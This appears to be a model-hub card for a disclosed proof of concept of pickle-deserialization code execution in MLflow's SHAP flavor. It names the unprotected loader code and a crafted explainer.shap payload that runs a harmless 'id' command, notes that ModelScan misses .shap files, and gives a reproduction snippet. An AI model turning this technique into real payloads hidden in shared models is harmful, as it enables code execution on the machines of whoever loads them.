MLflow SHAP Flavor — Pickle Deserialization Bypass PoC

Security Research PoC — submitted to huntr.com

This repository demonstrates a Remote Code Execution vulnerability in MLflow's shap flavor.

Vulnerability

MLflow's SHAP flavor saves serialized explainer objects as explainer.shap files, which are internally pickle/cloudpickle binaries. When loading, _load_explainer() calls shap.Explainer.load() — which internally calls pickle.load()without checking MLFLOW_ALLOW_PICKLE_DESERIALIZATION, MLflow's security control against arbitrary deserialization.

Additionally, the .shap extension is not recognized by ModelScan as a dangerous format, providing a second layer of evasion.

Files

File Description
MLmodel Crafted MLflow model config — shap flavor, serialized_explainer: explainer.shap
explainer.shap Malicious payload — pickle protocol 4, executes id > /tmp/mlflow_shap_rce.txt
conda.yaml Standard conda environment spec
python_env.yaml Standard Python environment spec

Affected Code

mlflow/shap/__init__.py  lines 644–650

def _load_explainer(explainer_file, model=None):
    import shap
    with open(explainer_file, "rb") as explainer:
        explainer = shap.Explainer.load(explainer)   # ← pickle.load, NO protection check

Reproduction

import os, mlflow

os.environ["MLFLOW_ALLOW_PICKLE_DESERIALIZATION"] = "false"  # protection ON

# Load model — triggers pickle.load on explainer.shap
model = mlflow.pyfunc.load_model("path/to/this/repo")

# Check RCE:
with open("/tmp/mlflow_shap_rce.txt") as f:
    print(f.read())  # uid=1000(user) gid=1000(user) ...

Impact

  • RCE even when MLFLOW_ALLOW_PICKLE_DESERIALIZATION=false
  • ModelScan does not flag .shap files
  • All MLflow deployment environments affected
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. 🙋 Ask for provider support